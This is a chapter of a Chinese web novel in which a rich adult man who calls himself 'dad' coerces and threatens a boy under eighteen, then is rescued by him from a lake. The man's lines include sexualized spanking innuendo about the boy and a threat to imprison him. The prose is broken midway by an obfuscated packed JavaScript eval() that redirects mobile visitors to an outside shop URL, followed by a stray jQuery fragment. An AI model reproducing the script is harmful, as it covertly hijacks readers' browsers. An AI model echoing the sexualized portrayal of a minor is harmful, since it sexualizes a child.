下午四点,江州市温度仍然直逼35℃,大马路上的洒水车进行一天中的第四次作业。
李栗酥的脑袋扭向车窗外,盯着洒水车看了很久,直到绿灯亮起,宾利缓缓前进。
车内凉气很足,甚至冻人,与绿化带里晒得蔫头耷脑的植物仿佛不在一个世界。
李栗酥摸了摸胳膊上的鸡皮疙瘩。
杜旧棠摸到遥控,将车内温度从18℃调到23℃。
这些天,只要李栗酥和杜旧棠在一块,难免会拌几句嘴,像现在这样诡异的沉默还是第一次。越是安静,李栗酥心里越是没底,这分明是暴风雨来临前的平静。
——“爸爸路上想过了,你这样不乖,还是要接受‘爱’的教育。把裤子脱掉,我要把你白白的屁股打开花。”杜旧棠手持皮鞭,如冷酷邪神朝他抽打而来。
想象的画面在少年脑海里伴随着抽打声爆开,吓得他一激灵。
“还是冷?”
少年玻璃珠子似的眼睛略显慌乱地瞟向身旁的男人,看了看两人之间的扶手,像是获得了一点安全感,“不冷。”
杜旧棠面色淡淡的,没再说话。
平时总爱逗弄人的大坏蛋,面上这么平静,不正常。
李栗酥坐不安稳,下意识摸了摸自己的屁股——他一定要守护它,不管鞭子还是大雕都不能抽打它。
杜旧棠:“你屁股痒?”
李栗酥要吓飞了:“不痒不痒,不需要鞭子抽。”
“……”
司机有一瞬失去表情管理,这才多久,老板和小少爷已经玩到这个地步了??
又是诡异的沉默。
车子驶入海棠路跨岛大桥,在距离庄园还有二百多米距离时,杜旧棠出声:“停下。”
司机将车靠边停下。
杜旧棠看了眼外面绚烂的霞光,说:“下车走走吧。”
李栗酥不明所以,跟着杜旧棠下了车,从碎石小道穿过一片绿植,到了湖边。相较于江州市其他地方,这座小岛周围总是凉爽许多,夏风拂面,带来湿润的水汽与草木辛香。
粼粼湖泊中,偶尔会有成群的白天鹅嬉戏。
之前闲逛时,李栗酥见过野鸭、黑水鸡、翠鸟,天鹅只听说有,这还是第一次见到,可惜离得远,拍照也不清晰,遂作罢。
路段不同,湖边的风光也不同,小岛周围有的地方小桥流水,有的宽阔坦荡,有的阡陌交通,有的则是一片绿地,一块沙滩。
这边靠近大路,湖边只有一条石板路,没什么景致,但视野开阔,湖光山色,又正值傍晚,倒是别有意趣。
杜旧棠身高腿长,两步是李栗酥的三步,不一会儿就将李栗酥甩在后头。
李栗酥只得加快脚步跟上。
杜旧棠驻足回望,等李栗酥追上来问:“腿不软了?”
李栗酥放慢步伐,“不软了。”
“不软最好,不然管家又要大惊小怪,以为是我把你弄软的。”
“……”大变态的本性逐渐回来。
这样李栗酥反而安心了一点,却又听杜旧棠说:“爸爸路上想过了……”
李栗酥大惊失色:“不要打我屁股!”
杜旧棠顿住,目光轻飘飘地掠过少年瘦削如竹的身体,腰细腿长臀翘,“我没有暴力倾向,但听你这么说,打你屁股好像挺有意思,你希望我用鞭子,还是其他?我都满足你。”
李栗酥差点裂开,难道其实杜旧棠没想过打他,是他提醒了?
“不管鞭子还是大……其他,我都不要。”李栗酥第一次感到被小黄文毒害了,“杜先生你不要打我。”
杜旧棠信步靠近少年,身高差下,他可以看到少年头顶的发旋,柔顺的发丝被风吹得乱蓬蓬的,遮不住清隽的眉眼,深褐色的眼瞳在光线下呈现琥珀的质地,剔透纯净。
少年专注地、一眨不眨地望着他,带着点懵懂,带着点慌乱,还带着点乖巧。
杜旧棠抬手将李栗酥的乱发别到小巧如贝的耳后,但很快又被风吹乱,是无用功。杜旧棠轻叹:“好孩子是不会挨打的,你是吗?”
“我是啊。”李栗酥自认三好学生,尊老爱幼,见义勇为,是祖国鲜红的花骨朵。
“好孩子是不会撒谎的,你是吗?”
“……”
“怎么不回答?”
李栗酥倔强反问:“杜先生没有撒过谎吗?”
杜旧棠:“我已经不是孩子了,也没人能左右我的人生。”
“所以你在欺负我。”
杜旧棠笑了:“欺负你?我要是真的欺负你,会把你囚禁在阁楼,永远没人找到你。甚至你活着还是死了,都没人知道。”
光是想象都觉得胆寒,李栗酥说:“你这样是违法的。”
杜旧棠颔首,不以为意,“欺骗我,背叛我,就该有此下场。”
“……”李栗酥往后退了一步,他早就知道杜旧棠不是什么世俗意义上的好人,但做慈善的同时也会有这么阴暗的一面,却是始料未及。
像是回到最初的见面,李栗酥受惊兔子般往后退,杜旧棠凶神恶煞步步紧逼。
黑色的皮鞋迫近白色的板鞋,一个沉稳,一个惊惶。
李栗酥后腰抵上湖边冰冷的栏杆,退无可退。
“李栗酥,”杜旧棠的声音如玉石相击,那样动听,“除了我,你还见了什么人?”
“……”
“只要你做个诚实的好孩子,爸爸不会欺负你。”
“……”
现在何尝不是在逼问,在欺负。一个不满十八岁少年的心智,不可能受得住一个在上流社会叱咤风云十几年的成年人的压迫。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597852|204999||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>杜旧棠深谙这一点。
所以他愿意给李栗酥坦白从宽的机会。
“告诉我,你是不是从一开始就打算背叛我?”杜旧棠问。
少年仓惶张大的眼睛比收藏柜里的任何一颗宝石都要绚丽,但脑子已经宕机,满心恐慌。忽然,栏杆发出吱呀声。
那点微末的声响,却让杜旧棠迅速作出反应,一把掐住李栗酥肩膀,将他拉到一边。
身体先于大脑,李栗酥瞬间应激,双手推开杜旧棠——哇,好结实的胸肌。
猝不及防之下,杜旧棠撞上栏杆,吱呀一小声,扑通一大声,连人带栏杆一起掉进了湖里。
李栗酥:“…………杜先生!!”
“……”
冰凉的湖水从四面八方涌来,死前的记忆复苏,湖里的人肢体僵硬。
庄园里有泳池,李栗酥想,杜旧棠总不至于不会游泳,然后他眼睁睁看着涟漪一圈一圈散开,冒出几个泡泡,湖面恢复了平静。
李栗酥悚然失色,深吸一口气,脱了鞋子跃入湖中。
李栗酥水性极佳,四肢灵活,只用了不到三分钟便找到杜旧棠,将他带了上来。两颗脑袋冒出水面,一颗高贵优雅地耷拉着,一颗噗噗吐出湖水:“来人啊!保镖——”
保镖听到动静,吓得手忙脚乱,好不容易将昏迷不醒的杜旧棠拖上岸。
李栗酥湿漉漉跪在杜旧棠身边,弯腰检查他的心跳与呼吸,脸色煞白,“溺水了,必须尽快做人工呼吸!你们谁会做?”
保镖们看了眼昏迷当中依然威严不减的杜旧棠,齐刷刷摇头。
“愣着干什么?叫车,叫医生!”李栗酥弓起上半身,双手交叉按在杜旧棠胸膛,“卧槽卧槽,应该是按这里吧?杜先生你别死,你死了我还怎么上学?!”
“……”
李栗酥控制着力气按压杜旧棠胸脯,一下一下。
保镖提醒:“人工有了,呼吸呢。”
李栗酥有些为难,但救人要紧,他颤抖着捏住杜旧棠的鼻子,掐住他嘴巴,眼一闭,心一横,一口气吹了上去。
有了第一次,就有第二次。
感觉很奇妙,甚至有点美妙。
杜旧棠这样强横霸道的人,嘴唇居然那么柔软,带着薄荷味……李栗酥分神地想着,原来接吻是这种感觉。
“啵~”
保镖们探头探脑:“不是人工呼吸吗?为什么会发出啵?”
李栗酥:“……”
宛如一个睡美人,杜旧棠被啵醒了,凤目微抬,对上少年尤带水珠的清秀面容。
少年湿润的睫毛快速眨动,白白净净的脸升了温,“杜先生你醒啦。”
杜旧棠嗓音低低的,藏着点哑:“大逆不道,居然敢非礼爸爸。回去就打你屁股。”
李栗酥:“……”